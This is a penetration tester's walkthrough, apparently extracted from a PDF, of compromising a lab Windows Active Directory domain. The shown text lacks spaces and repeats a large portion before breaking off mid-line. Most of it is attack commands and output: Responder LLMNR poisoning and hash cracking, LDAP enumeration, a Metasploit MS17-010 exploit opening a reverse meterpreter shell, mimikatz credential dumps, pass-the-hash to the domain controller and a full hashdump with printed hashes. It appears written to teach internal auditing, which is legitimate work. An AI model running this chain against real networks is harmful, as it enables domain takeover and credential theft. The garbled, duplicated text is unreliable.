sharepointwindowsserver2012
windowsserver2012 时间:2021-01-11 阅读:()
AuditingMicrosoftDomainEnvironmentContentsAbouttheAuthor.
2AboutTheMicrosoftDomainEnvironments:3AboutAuditing:4GainingFirstUser:5EnumeratingADUsersandGroupsWithGainedUser:8CheckingCommonVulnerabilities:12GainingFirstShell:13MigratingIntoAProcess:15PassTheHash:17DumpEverythingFromDomainController:18AuditingMicrosoftDomainEnvironment1AuditingMicrosoftDomainEnvironmentAbouttheAuthorEnginDemirbilek,ComputerEngineeringStudentPenetrationTesterinTurkeyatSiberAsistCyberSecurityConsultancy.
Blog:https://engindemirbilek.
github.
ioFeelfreetoaskmeanythingviaTwitter:@hyal0idI'vebeenwritingthisarticlejusttospendsometimesoitwon'tbeverydetaileddocument.
AuditingMicrosoftDomainEnvironment2AuditingMicrosoftDomainEnvironmentAboutTheMicrosoftDomainEnvironments:WhattoexpectaboutDomainEnvironmentsis:MotherServers:ServersthatrunsActiveDirectoryservicesakaDomainControllers,ChildServers:MicrosoftServersfordealwithspesificneeds(IISServer,MSSQLServeretc.
),ClientMachines:Forusageofclients(Win7,Win10etc),DomainAdminGroupUsers:UserswithhighestlevelprivilegeinDomainforestwhichcancontrollallcomputersindomainforest,OtherGroupsandUsers:UserscreatedbyDomainAdminusersforspesificprivileges.
**AlocaluserofClientMachineorChildserverisnotanADuser,butbyusingthatuseranADusercanbegained.
**ADomainControllerauthenticatesandauthorizesallusersandcomputersinaWindowsDomainForestanditcanenforcesecuritypoliciesforallcomputersandcanalsoinstallorupdatesoftware.
Justlikeasitsounds,everylocaladministratorusersofDomainControllerisbasiclyDomainAdmin.
Byusingtheseusers,alljobsdescribedabovecanbedoneviaanycomputerofDomainForest(withoutaccessingDCremotely).
Schema&MoreDetail:https://docs.
microsoft.
com/en-us/windows-server/identity/ad-ds/plan/using-the-organizational-domain-forest-modelAuditingMicrosoftDomainEnvironment3AuditingMicrosoftDomainEnvironmentAboutAuditing:OurgoldenmissioniscapturingDomainAdminUserduetogaincompletecontrolinallDomaincomputers.
But,insomescenariosuserswithfewerlevelprivilegescanleadtohugeinformationleaks.
Therefore,inthewayofcapturingaDomainAdminuserwedotrygainingasmuchasuserwecan.
Ininternalpenetrationtests,companiesusuallyprovidestrictlylowprivilegedactivedirectoryuserstopenetrationtestersandalsosometimes,wedogainafewusersbyexploitingvulnerabilities,sniffing&spoofingattacks,socialengineeringattacksandpasswordattacksetc.
Byusingthoseuserswecapturecompromisewholedomainforest.
Inthisarticle,IwillshowfewwaysI'vebeenusingPenetrationagainstMicrosoftDomainEnvrioments.
AuditingMicrosoftDomainEnvironment4AuditingMicrosoftDomainEnvironmentGainingFirstUser:Usually,ifi'mnotinaisolatedLANnetworkidotryLLMNR&NBNTSspoofingattacksduetogainanaccount.
Todoso,thereisagreattoolexistscalledResponder.
Ifyouarenewtothistopicshereisquick101:LLMNR:LinkLocalMulticastNameResolution(LLMNR)isaprotocoldefinedinRFC4795thatallowsbothIPv6andIPv4hoststoperformnameresolutionforthenamesofneighboringcomputerswithoutrequiringaDNSserverorDNSclientconfiguration.
NBT-NSisasimilarprotocoltoLLMNRthatservesthesamepurpose.
ThemaindifferencebetweenthetwoisNBT-NSworksoverIPv4onlyLLMNR&NBT-NSSpoofing:WheneverausertrytoreachanunexistedsharepointorcomputerwhichcannotbefindbyDNSqueries,useraskswholenetworkto"Anyoneknowswhereisthis\\sharepoint"byusingLLMNRqueries.
Prettymuchasitsounds,ifanattackersays"Yeahitsrighthere"attackercancaptureusersNtlm/Ntlmv2hashesassoonasuser(victim)trytoconnectattacker'smachine.
https://en.
wikipedia.
org/wiki/Link-Local_Multicast_Name_ResolutionAuditingMicrosoftDomainEnvironment5AuditingMicrosoftDomainEnvironmentSettingUpSpoofingEnvironment:Aswementionedbefore,thereisagreattoolexistforperformingthisjob.
IndefaultKaliLinuxsetup,youreachyourresponderbytypingResponderonyourterminal.
ItusesSMBServertocaptureNtlmhashessostopyoursmbserviceifitsrunning(servicesmbdstop).
root@kali:~#/usr/share/responder/Responder.
py-Ieth0-wrf__|__|NBT-NS,LLMNR&MDNSResponder2.
3.
3.
9Author:LaurentGaffie(laurent.
gaffie@gmail.
com)TokillthisscripthitCRTL-C[+]Poisoners:LLMNR[ON]NBT-NS[ON]DNS/MDNS[ON][+]Servers:HTTPserver[ON]HTTPSserver[ON]WPADproxy[ON]Authproxy[OFF]SMBserver[ON]Kerberosserver[ON]SQLserver[ON]FTPserver[ON]IMAPserver[ON]POP3server[ON]SMTPserver[ON]DNSserver[ON]https://github.
com/SpiderLabs/ResponderAuditingMicrosoftDomainEnvironment6AuditingMicrosoftDomainEnvironmentAftersettingupResponder,wheneverausertrytoreachanunexistedsharepoint:[*][NBT-NS]Poisonedanswersentto10.
0.
0.
6fornameTYPOSHARE(service:FileServer)[SMBv2]NTLMv2-SSPClient:10.
0.
0.
6[SMBv2]NTLMv2-SSPUsername:LAB\Hyaloid[SMBv2]NTLMv2-SSPHash:Hyaloid::LAB:c3b7e6d03aa1156d:1A448B8D1980D5340FB2DCBED2DBE2E6:0101000000000000C0653150DE09D20185B1280D074FA54E000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000200000741131348AABA897DC58E88D7CEFEF3374D1A422C4BC2A2A34D085E14BD2A0F00A0010000000000000000000000000000000000009001C0063006900660073002F005400790070006F0053006800610072006500000000000000000000000000WegethisNTLMv2hash.
CrackingNTLMv2Hash:root@kali:~#johnhash.
txtCreateddirectory:/root/.
johnUsingdefaultinputencoding:UTF-8Rules/masksusingISO-8859-1Loaded1passwordhash(netntlmv2,NTLMv2C/R[MD4HMAC-MD532/64])Press'q'orCtrl-Ctoabort,almostanyotherkeyforstatusPassword5(Hyaloid)1g0:00:00:00DONE2/3(2018-12-1716:19)3.
125g/s323678p/s323678c/s323678C/sPassword5Usethe"--show"optiontodisplayallofthecrackedpasswordsreliablySessioncompletedAuditingMicrosoftDomainEnvironment7AuditingMicrosoftDomainEnvironmentEnumeratingADUsersandGroupsWithGainedUser:Wecapturedausersowhat'snextAftercapturingauserfirstthingweneedtodoischeckingitsprivileges,inthisarticlewewillbepretendingliketheuserwecapturedhasverylowprivilege.
Letssaythatwedidn'tgofurther(privescetc.
)withthisprivileges.
EvenifwecantelevateourprivilegeswiththeuserwecapturedwestillcandoenumerateActiveDirectoryusers,computers,groupsetc.
byusingldapqueriesforfurtherinvestigation.
TodosoImusingascriptfromgithubcalledwindapsearchwhichcanperformmanyldapjobsveryfast.
EnumeratingADUserswithLDAPqueriesviawindapsearch:root@kali:/opt/windapsearch#pythonwindapsearch.
py--domainLAB.
COM--dc-ip10.
0.
0.
1-uLAB\\hyaloid-pPassword5-U[+]UsingDomainControllerat:10.
0.
0.
1[+]GettingdefaultNamingContextfromRootDSE[+]Found:DC=LAB,DC=COM[+]Attemptingbind[+].
.
.
success!
Bindedas:[+]u:LAB\Hyaloid[+]EnumeratingallADusers[+]Found7users:cn:Administratorcn:Guestcn:krbtgtcn:pentestcn:DAcn:Hyaloidcn:Siberasisthttps://github.
com/ropnop/windapsearchAD:ActiveDirectoryAuditingMicrosoftDomainEnvironment8AuditingMicrosoftDomainEnvironmentWhatHappenedinBackground:https://github.
com/wireshark/wiresharkAuditingMicrosoftDomainEnvironment9AuditingMicrosoftDomainEnvironmentEnumeratingDomainAdminswithLDAPqueriesviawindapsearch:root@kali:/opt/windapsearch#pythonwindapsearch.
py--domainLAB.
COM--dc-ip10.
0.
0.
1-uLAB\\hyaloid-pPassword5--da//*CodeOmitted*//[+].
.
.
success!
Bindedas:[+]u:LAB\Hyaloid[+]AttemptingtoenumerateallDomainAdmins[+]UsingDN:CN=DomainAdmins,CN=Users.
CN=DomainAdmins,CN=Users,DC=LAB,DC=COM[+]Found2DomainAdmins:cn:Administratorcn:DAEnumeratingDomainAdminswithLDAPqueriesviawindapsearch:root@kali:/opt/windapsearch#pythonwindapsearch.
py--domainLAB.
COM--dc-ip10.
0.
0.
1-uLAB\\hyaloid-pPassword5-C//*CodeOmitted*//[+]Found:DC=LAB,DC=COM[+]Attemptingbind[+].
.
.
success!
Bindedas:[+]u:LAB\Hyaloid[+]EnumeratingallADcomputers[+]Found3computers:cn,IP,dNSHostName,operatingSystem,operatingSystemVersion,operatingSystemServicePackHACKBOX,10.
0.
0.
6,HACKBOX.
LAB.
COM,Windows7Ultimate,6.
1(7601),ServicePack1SQLSERV,10.
0.
0.
2,SQLSERV.
LAB.
COM,WindowsServer2012R2StandardEvaluation,6.
3(9600),DCAD,10.
0.
0.
1,DCAD.
LAB.
COM,WindowsServer2012R2StandardEvaluation,6.
3(9600),AuditingMicrosoftDomainEnvironment10AuditingMicrosoftDomainEnvironmentWhatwegainedwithLDAPqueriesviawindapsearch:Users:ComputersAdministrator//DomainAdmin10.
0.
0.
6,IT.
LAB.
COMWindows7UltimateGuest10.
0.
0.
2,SQLSERV.
LAB.
COMWindowsServer2012R2Standardkrbtgt10.
0.
0.
1,DCAD.
LAB.
COMWindowsServer2012R2StandardpentestDA//DomainAdminHyaloidSiberasistAuditingMicrosoftDomainEnvironment11AuditingMicrosoftDomainEnvironmentCheckingCommonVulnerabilities:Asweseefromabove,wehaveanindows7clientandalsoanSQLserverexistsondomainforest.
Letscheckifthereisms17_010vulnerabilityexistsonthosesystemsandalsowemustconsidertocheckifsauserofmssqlserviceissufferingfrombasicpasswordusage.
Checkingms17_010vulnerability:msfauxiliary(scanner/smb/smb_ms17_010)>setSMBUSERHyaloidSMBUSER=>Hyaloidmsfauxiliary(scanner/smb/smb_ms17_010)>setSMBPASSPassword5SMBPASS=>Password5msfauxiliary(scanner/smb/smb_ms17_010)>setSMBDOMAINLABSMBDOMAIN=>LABmsfauxiliary(scanner/smb/smb_ms17_010)>setRHOSTS10.
0.
0.
1,2,6RHOSTS=>10.
0.
0.
1,2,6msfauxiliary(scanner/smb/smb_ms17_010)>run[-]10.
0.
0.
1:445-HostdoesNOTappearvulnerable.
[*]Scanned1of3hosts(33%complete)[+]10.
0.
0.
2:445-HostislikelyVULNERABLEtoMS17-010!
-WindowsServer2012R2StandardEvaluation9600x64(64-bit)[*]Scanned2of3hosts(66%complete)[-]10.
0.
0.
6:445-HostdoesNOTappearvulnerable.
[*]Scanned3of3hosts(100%complete)AuditingMicrosoftDomainEnvironment12AuditingMicrosoftDomainEnvironmentGainingFirstShell:Exploitingms17_010vulnerability:msfexploit(windows/smb/ms17_010_psexec)>setSMBUSERHyaloidSMBUSER=>Hyaloidmsfexploit(windows/smb/ms17_010_psexec)>setSMBPASSPassword5SMBPASS=>Password5msfexploit(windows/smb/ms17_010_psexec)>setSMBDOMAINLABSMBDOMAIN=>LABmsfexploit(windows/smb/ms17_010_psexec)>setRHOST10.
0.
0.
2RHOST=>10.
0.
0.
2msfexploit(windows/smb/ms17_010_psexec)>run[*]StartedreverseTCPhandleron10.
0.
0.
5:4444[*]10.
0.
0.
2:445-TargetOS:WindowsServer2012R2StandardEvaluation9600[*]10.
0.
0.
2:445-Builtawrite-what-whereprimitive.
.
.
[+]10.
0.
0.
2:445-Overwritecomplete.
.
.
SYSTEMsessionobtained!
[*]10.
0.
0.
2:445-SelectingPowerShelltarget[*]10.
0.
0.
2:445-Executingthepayload.
.
.
[+]10.
0.
0.
2:445-Servicestarttimedout,OKifrunningacommandornon-serviceexecutable.
.
.
[*]Sendingstage(179779bytes)to10.
0.
0.
2meterpreter>Aswesuccessfullyexploitedthems17_010vulnerabilitywegainedanx86meterpretershellwithSYSTEMprivileges.
Duetousetoolslikemimikatzoursessionarchitecturemustbethesame.
CheckingSystemArchitecture:meterpreter>sysinfoComputer:SQLSERVOS:Windows2012R2(Build9600).
Architecture:x64SystemLanguage:en_USDomain:LABLoggedOnUsers:9Meterpreter:x86/windowsAsweseefromresultofsysinfocommand,systemarchitectureisx64butourmeterpreterisx86.
AuditingMicrosoftDomainEnvironment13AuditingMicrosoftDomainEnvironmentCheckingBackgroundProcceses:meterpreter>psProcessListPIDPPIDNameArchSessionUserPath00[SystemProcess]40Systemx640/*CodeOmitted*/464380services.
exex640472380lsass.
exex640NTAUTHORITY\SYSTEMC:\Windows\System32\lsass.
exe528464svchost.
exex640NTAUTHORITY\SYSTEMC:\Windows\System32\svchost.
exe556464svchost.
exex640NTAUTHORITY\NETWORKSERVICEC:\Windows\System32\svchost.
exe6282484LogonUI.
exex642NTAUTHORITY\SYSTEMC:\Windows\System32\LogonUI.
exe668464VBoxService.
exex640NTAUTHORITY\SYSTEMC:\Windows\System32\/*CodeOmitted*/AuditingMicrosoftDomainEnvironment14AuditingMicrosoftDomainEnvironmentMigratingIntoAProcess:ThingstoConsiderbeforeMigration:1.
Proccesthatwewillmigrateshouldbeatsameprivilegeswithourcurrentprivileges(NTAUTHORITY)2.
Proccessthatwewillmigrateismustbestabiloratleastevenifwemesssomethingitmustbenotcausesystemrestartetc.
Duedomeetthisrequirements,VBOXService.
exeislookslikethebestoptionwehave.
meterpreter>migrate668[*]Migratingfrom3168to668.
.
.
[*]Migrationcompletedsuccessfully.
meterpreter>sysinfoComputer:WIN-G9T7SDV2G4LOS:Windows2012R2(Build9600).
Architecture:x64SystemLanguage:en_USDomain:LABLoggedOnUsers:9Meterpreter:x64/windowsWhat'sNextTobehonest,wedonotneedtogethashesofanyusertogaindomainadminrightfromthispoint.
Wecancheckifthereisanproccessworkingwithdomainadminusersprivileges(thatwefoundearlierwithwindapsearch)andmigratingintothatprocesscouldgiveusdaprivilegesbutduetoshowafewmoretricksletsusemimikatztodumploggedusershashes.
https://github.
com/gentilkiwi/mimikatzAuditingMicrosoftDomainEnvironment15AuditingMicrosoftDomainEnvironmentLoadingMimikatz:meterpreter>loadkiwiLoadingextensionkiwi.
.
.
.
#####.
mimikatz2.
1.
120180925(x64/windows)ALaVie,AL'Amour"BenjaminDELPY`gentilkiwi`(benjamin@gentilkiwi.
com)http://blog.
gentilkiwi.
com/mimikatz'##v##'VincentLETOUX(vincent.
letoux@gmail.
com)http://pingcastle.
com/http://mysmartlogon.
com***/Success.
Gettingpasswordhasheswithmimikatz:meterpreter>creds_all[+]RunningasSYSTEM[*]RetrievingallcredentialsmsvcredentialsUsernameDomainNTLMSHA1DALAB64f12cddaa88057e06a81b54e73b949bcba4e545b7ec918129725154b29f055e4cd5aea8HyaloidLABa738f92b3c08b424ec2d99589a9cce600509c9efe1b0d6ea63697e335434302096859164WIN-G9T7SDV2G4L$LAB6eaab25fb08a7382f7cc1a54d97e80de8c02e734ed99ebdfaec174ffed707cafc4844dfa.
Bingo!
RememberedtheDAuserfromwindapsearchresultsItisandomainadmingroupuser.
AuditingMicrosoftDomainEnvironment16AuditingMicrosoftDomainEnvironmentPassTheHash:Passingthehashisgamechangertrickthatweuseatnearlyeveryinternalaudit.
Ifyouarenewtothistopichereisquick101fromwikipedia:passthehashisahackingtechniquethatallowsanattackertoauthenticatetoaremoteserverorservicebyusingtheunderlyingNTLMorLanManhashofauser'spassword,insteadofrequiringtheassociatedplaintextpasswordasisnormallythecase.
PassTheHashwithPsexec:Duetoperformthisjobs,onlyweneedisNTLMhashofaprivilegeduser.
Thatsexactlywhatwegainedbeforewithmimikatz.
msfexploit(windows/smb/psexec)>setSMBUSERDASMBUSER=>DAmsfexploit(windows/smb/psexec)>setSMBPASS00000000000000000000000000000000:64f12cddaa88057e06a81b54e73b949b//LM:NTLMSMBPASS=>64f12cddaa88057e06a81b54e73b949b:64f12cddaa88057e06a81b54e73b949bmsfexploit(windows/smb/psexec)>setSMBDOMAINLABSMBDOMAIN=>LABmsfexploit(windows/smb/psexec)>setRHOST10.
0.
0.
1//DomainControllerRHOST=>10.
0.
0.
1msfexploit(windows/smb/psexec)>run[*]StartedreverseTCPhandleron10.
0.
0.
5:4444[*]10.
0.
0.
1:445-Connectingtotheserver.
.
.
[*]10.
0.
0.
1:445-Authenticatingto10.
0.
0.
1:445|LABasuser'DA'.
.
.
[*]10.
0.
0.
1:445-SelectingPowerShelltarget[*]10.
0.
0.
1:445-Executingthepayload.
.
.
[+]10.
0.
0.
1:445-Servicestarttimedout,OKifrunningacommandornon-serviceexecutable.
.
.
[*]Sendingstage(179779bytes)to10.
0.
0.
1FurtherReadforPassTheHash:https://www.
sans.
org/reading-room/whitepapers/testing/pass-the-hash-attacks-tools-mitigation_33283AuditingMicrosoftDomainEnvironment17AuditingMicrosoftDomainEnvironmentDumpEverythingFromDomainController:SincewegotanprivilegedsessionfromDomainControllerwecoulddumpeverythingfromit!
meterpreter>loadkiwiLoadingextensionkiwi.
.
.
c.
#####.
mimikatz2.
1.
120180925(x64/windows)ALaVie,AL'Amour"BenjaminDELPY`gentilkiwi`(benjamin@gentilkiwi.
com)http://blog.
gentilkiwi.
com/mimikatz'##v##'VincentLETOUX(vincent.
letoux@gmail.
com)'#####'>http://pingcastle.
com/http://mysmartlogon.
com***/Success.
meterpreter>getuidServerusername:LAB\DAmeterpreter>getsystem.
.
.
gotsystemviatechnique1(NamedPipeImpersonation(InMemory/Admin)).
meterpreter>hashdumpAdministrator:500:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:eb00cddf33274125bd6081d301c78cbc:::pentest:1105:aad3b435b51404eeaad3b435b51404ee:c4b0e1b10c7ce2c4723b4e2407ef81a2:::DA:1106:aad3b435b51404eeaad3b435b51404ee:7247e8d4387e76996ff3f18a34316fdd:::Hyaloid:1107:aad3b435b51404eeaad3b435b51404ee:a738f92b3c08b424ec2d99589a9cce60:::Siberasist:1108:aad3b435b51404eeaad3b435b51404ee:499108ff7eeea55a4765f1c57665f840:::AuditingMicrosoftDomainEnvironment18AuditingMicrosoftDomainEnvironmentConclusion:Thisisnottheonlyscenariothatwemeetoninternalaudits,therearemanymorescenarioscouldbeperformedaccordingtovulnerabilities,attackvectors,networktopology,operationsystemsetc.
butitisverycommonscenariothatI'vemetinafewpentestsbefore.
Thanksforreading.
AuditingMicrosoftDomainEnvironment19
2AboutTheMicrosoftDomainEnvironments:3AboutAuditing:4GainingFirstUser:5EnumeratingADUsersandGroupsWithGainedUser:8CheckingCommonVulnerabilities:12GainingFirstShell:13MigratingIntoAProcess:15PassTheHash:17DumpEverythingFromDomainController:18AuditingMicrosoftDomainEnvironment1AuditingMicrosoftDomainEnvironmentAbouttheAuthorEnginDemirbilek,ComputerEngineeringStudentPenetrationTesterinTurkeyatSiberAsistCyberSecurityConsultancy.
Blog:https://engindemirbilek.
github.
ioFeelfreetoaskmeanythingviaTwitter:@hyal0idI'vebeenwritingthisarticlejusttospendsometimesoitwon'tbeverydetaileddocument.
AuditingMicrosoftDomainEnvironment2AuditingMicrosoftDomainEnvironmentAboutTheMicrosoftDomainEnvironments:WhattoexpectaboutDomainEnvironmentsis:MotherServers:ServersthatrunsActiveDirectoryservicesakaDomainControllers,ChildServers:MicrosoftServersfordealwithspesificneeds(IISServer,MSSQLServeretc.
),ClientMachines:Forusageofclients(Win7,Win10etc),DomainAdminGroupUsers:UserswithhighestlevelprivilegeinDomainforestwhichcancontrollallcomputersindomainforest,OtherGroupsandUsers:UserscreatedbyDomainAdminusersforspesificprivileges.
**AlocaluserofClientMachineorChildserverisnotanADuser,butbyusingthatuseranADusercanbegained.
**ADomainControllerauthenticatesandauthorizesallusersandcomputersinaWindowsDomainForestanditcanenforcesecuritypoliciesforallcomputersandcanalsoinstallorupdatesoftware.
Justlikeasitsounds,everylocaladministratorusersofDomainControllerisbasiclyDomainAdmin.
Byusingtheseusers,alljobsdescribedabovecanbedoneviaanycomputerofDomainForest(withoutaccessingDCremotely).
Schema&MoreDetail:https://docs.
microsoft.
com/en-us/windows-server/identity/ad-ds/plan/using-the-organizational-domain-forest-modelAuditingMicrosoftDomainEnvironment3AuditingMicrosoftDomainEnvironmentAboutAuditing:OurgoldenmissioniscapturingDomainAdminUserduetogaincompletecontrolinallDomaincomputers.
But,insomescenariosuserswithfewerlevelprivilegescanleadtohugeinformationleaks.
Therefore,inthewayofcapturingaDomainAdminuserwedotrygainingasmuchasuserwecan.
Ininternalpenetrationtests,companiesusuallyprovidestrictlylowprivilegedactivedirectoryuserstopenetrationtestersandalsosometimes,wedogainafewusersbyexploitingvulnerabilities,sniffing&spoofingattacks,socialengineeringattacksandpasswordattacksetc.
Byusingthoseuserswecapturecompromisewholedomainforest.
Inthisarticle,IwillshowfewwaysI'vebeenusingPenetrationagainstMicrosoftDomainEnvrioments.
AuditingMicrosoftDomainEnvironment4AuditingMicrosoftDomainEnvironmentGainingFirstUser:Usually,ifi'mnotinaisolatedLANnetworkidotryLLMNR&NBNTSspoofingattacksduetogainanaccount.
Todoso,thereisagreattoolexistscalledResponder.
Ifyouarenewtothistopicshereisquick101:LLMNR:LinkLocalMulticastNameResolution(LLMNR)isaprotocoldefinedinRFC4795thatallowsbothIPv6andIPv4hoststoperformnameresolutionforthenamesofneighboringcomputerswithoutrequiringaDNSserverorDNSclientconfiguration.
NBT-NSisasimilarprotocoltoLLMNRthatservesthesamepurpose.
ThemaindifferencebetweenthetwoisNBT-NSworksoverIPv4onlyLLMNR&NBT-NSSpoofing:WheneverausertrytoreachanunexistedsharepointorcomputerwhichcannotbefindbyDNSqueries,useraskswholenetworkto"Anyoneknowswhereisthis\\sharepoint"byusingLLMNRqueries.
Prettymuchasitsounds,ifanattackersays"Yeahitsrighthere"attackercancaptureusersNtlm/Ntlmv2hashesassoonasuser(victim)trytoconnectattacker'smachine.
https://en.
wikipedia.
org/wiki/Link-Local_Multicast_Name_ResolutionAuditingMicrosoftDomainEnvironment5AuditingMicrosoftDomainEnvironmentSettingUpSpoofingEnvironment:Aswementionedbefore,thereisagreattoolexistforperformingthisjob.
IndefaultKaliLinuxsetup,youreachyourresponderbytypingResponderonyourterminal.
ItusesSMBServertocaptureNtlmhashessostopyoursmbserviceifitsrunning(servicesmbdstop).
root@kali:~#/usr/share/responder/Responder.
py-Ieth0-wrf__|__|NBT-NS,LLMNR&MDNSResponder2.
3.
3.
9Author:LaurentGaffie(laurent.
gaffie@gmail.
com)TokillthisscripthitCRTL-C[+]Poisoners:LLMNR[ON]NBT-NS[ON]DNS/MDNS[ON][+]Servers:HTTPserver[ON]HTTPSserver[ON]WPADproxy[ON]Authproxy[OFF]SMBserver[ON]Kerberosserver[ON]SQLserver[ON]FTPserver[ON]IMAPserver[ON]POP3server[ON]SMTPserver[ON]DNSserver[ON]https://github.
com/SpiderLabs/ResponderAuditingMicrosoftDomainEnvironment6AuditingMicrosoftDomainEnvironmentAftersettingupResponder,wheneverausertrytoreachanunexistedsharepoint:[*][NBT-NS]Poisonedanswersentto10.
0.
0.
6fornameTYPOSHARE(service:FileServer)[SMBv2]NTLMv2-SSPClient:10.
0.
0.
6[SMBv2]NTLMv2-SSPUsername:LAB\Hyaloid[SMBv2]NTLMv2-SSPHash:Hyaloid::LAB:c3b7e6d03aa1156d:1A448B8D1980D5340FB2DCBED2DBE2E6:0101000000000000C0653150DE09D20185B1280D074FA54E000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000200000741131348AABA897DC58E88D7CEFEF3374D1A422C4BC2A2A34D085E14BD2A0F00A0010000000000000000000000000000000000009001C0063006900660073002F005400790070006F0053006800610072006500000000000000000000000000WegethisNTLMv2hash.
CrackingNTLMv2Hash:root@kali:~#johnhash.
txtCreateddirectory:/root/.
johnUsingdefaultinputencoding:UTF-8Rules/masksusingISO-8859-1Loaded1passwordhash(netntlmv2,NTLMv2C/R[MD4HMAC-MD532/64])Press'q'orCtrl-Ctoabort,almostanyotherkeyforstatusPassword5(Hyaloid)1g0:00:00:00DONE2/3(2018-12-1716:19)3.
125g/s323678p/s323678c/s323678C/sPassword5Usethe"--show"optiontodisplayallofthecrackedpasswordsreliablySessioncompletedAuditingMicrosoftDomainEnvironment7AuditingMicrosoftDomainEnvironmentEnumeratingADUsersandGroupsWithGainedUser:Wecapturedausersowhat'snextAftercapturingauserfirstthingweneedtodoischeckingitsprivileges,inthisarticlewewillbepretendingliketheuserwecapturedhasverylowprivilege.
Letssaythatwedidn'tgofurther(privescetc.
)withthisprivileges.
EvenifwecantelevateourprivilegeswiththeuserwecapturedwestillcandoenumerateActiveDirectoryusers,computers,groupsetc.
byusingldapqueriesforfurtherinvestigation.
TodosoImusingascriptfromgithubcalledwindapsearchwhichcanperformmanyldapjobsveryfast.
EnumeratingADUserswithLDAPqueriesviawindapsearch:root@kali:/opt/windapsearch#pythonwindapsearch.
py--domainLAB.
COM--dc-ip10.
0.
0.
1-uLAB\\hyaloid-pPassword5-U[+]UsingDomainControllerat:10.
0.
0.
1[+]GettingdefaultNamingContextfromRootDSE[+]Found:DC=LAB,DC=COM[+]Attemptingbind[+].
.
.
success!
Bindedas:[+]u:LAB\Hyaloid[+]EnumeratingallADusers[+]Found7users:cn:Administratorcn:Guestcn:krbtgtcn:pentestcn:DAcn:Hyaloidcn:Siberasisthttps://github.
com/ropnop/windapsearchAD:ActiveDirectoryAuditingMicrosoftDomainEnvironment8AuditingMicrosoftDomainEnvironmentWhatHappenedinBackground:https://github.
com/wireshark/wiresharkAuditingMicrosoftDomainEnvironment9AuditingMicrosoftDomainEnvironmentEnumeratingDomainAdminswithLDAPqueriesviawindapsearch:root@kali:/opt/windapsearch#pythonwindapsearch.
py--domainLAB.
COM--dc-ip10.
0.
0.
1-uLAB\\hyaloid-pPassword5--da//*CodeOmitted*//[+].
.
.
success!
Bindedas:[+]u:LAB\Hyaloid[+]AttemptingtoenumerateallDomainAdmins[+]UsingDN:CN=DomainAdmins,CN=Users.
CN=DomainAdmins,CN=Users,DC=LAB,DC=COM[+]Found2DomainAdmins:cn:Administratorcn:DAEnumeratingDomainAdminswithLDAPqueriesviawindapsearch:root@kali:/opt/windapsearch#pythonwindapsearch.
py--domainLAB.
COM--dc-ip10.
0.
0.
1-uLAB\\hyaloid-pPassword5-C//*CodeOmitted*//[+]Found:DC=LAB,DC=COM[+]Attemptingbind[+].
.
.
success!
Bindedas:[+]u:LAB\Hyaloid[+]EnumeratingallADcomputers[+]Found3computers:cn,IP,dNSHostName,operatingSystem,operatingSystemVersion,operatingSystemServicePackHACKBOX,10.
0.
0.
6,HACKBOX.
LAB.
COM,Windows7Ultimate,6.
1(7601),ServicePack1SQLSERV,10.
0.
0.
2,SQLSERV.
LAB.
COM,WindowsServer2012R2StandardEvaluation,6.
3(9600),DCAD,10.
0.
0.
1,DCAD.
LAB.
COM,WindowsServer2012R2StandardEvaluation,6.
3(9600),AuditingMicrosoftDomainEnvironment10AuditingMicrosoftDomainEnvironmentWhatwegainedwithLDAPqueriesviawindapsearch:Users:ComputersAdministrator//DomainAdmin10.
0.
0.
6,IT.
LAB.
COMWindows7UltimateGuest10.
0.
0.
2,SQLSERV.
LAB.
COMWindowsServer2012R2Standardkrbtgt10.
0.
0.
1,DCAD.
LAB.
COMWindowsServer2012R2StandardpentestDA//DomainAdminHyaloidSiberasistAuditingMicrosoftDomainEnvironment11AuditingMicrosoftDomainEnvironmentCheckingCommonVulnerabilities:Asweseefromabove,wehaveanindows7clientandalsoanSQLserverexistsondomainforest.
Letscheckifthereisms17_010vulnerabilityexistsonthosesystemsandalsowemustconsidertocheckifsauserofmssqlserviceissufferingfrombasicpasswordusage.
Checkingms17_010vulnerability:msfauxiliary(scanner/smb/smb_ms17_010)>setSMBUSERHyaloidSMBUSER=>Hyaloidmsfauxiliary(scanner/smb/smb_ms17_010)>setSMBPASSPassword5SMBPASS=>Password5msfauxiliary(scanner/smb/smb_ms17_010)>setSMBDOMAINLABSMBDOMAIN=>LABmsfauxiliary(scanner/smb/smb_ms17_010)>setRHOSTS10.
0.
0.
1,2,6RHOSTS=>10.
0.
0.
1,2,6msfauxiliary(scanner/smb/smb_ms17_010)>run[-]10.
0.
0.
1:445-HostdoesNOTappearvulnerable.
[*]Scanned1of3hosts(33%complete)[+]10.
0.
0.
2:445-HostislikelyVULNERABLEtoMS17-010!
-WindowsServer2012R2StandardEvaluation9600x64(64-bit)[*]Scanned2of3hosts(66%complete)[-]10.
0.
0.
6:445-HostdoesNOTappearvulnerable.
[*]Scanned3of3hosts(100%complete)AuditingMicrosoftDomainEnvironment12AuditingMicrosoftDomainEnvironmentGainingFirstShell:Exploitingms17_010vulnerability:msfexploit(windows/smb/ms17_010_psexec)>setSMBUSERHyaloidSMBUSER=>Hyaloidmsfexploit(windows/smb/ms17_010_psexec)>setSMBPASSPassword5SMBPASS=>Password5msfexploit(windows/smb/ms17_010_psexec)>setSMBDOMAINLABSMBDOMAIN=>LABmsfexploit(windows/smb/ms17_010_psexec)>setRHOST10.
0.
0.
2RHOST=>10.
0.
0.
2msfexploit(windows/smb/ms17_010_psexec)>run[*]StartedreverseTCPhandleron10.
0.
0.
5:4444[*]10.
0.
0.
2:445-TargetOS:WindowsServer2012R2StandardEvaluation9600[*]10.
0.
0.
2:445-Builtawrite-what-whereprimitive.
.
.
[+]10.
0.
0.
2:445-Overwritecomplete.
.
.
SYSTEMsessionobtained!
[*]10.
0.
0.
2:445-SelectingPowerShelltarget[*]10.
0.
0.
2:445-Executingthepayload.
.
.
[+]10.
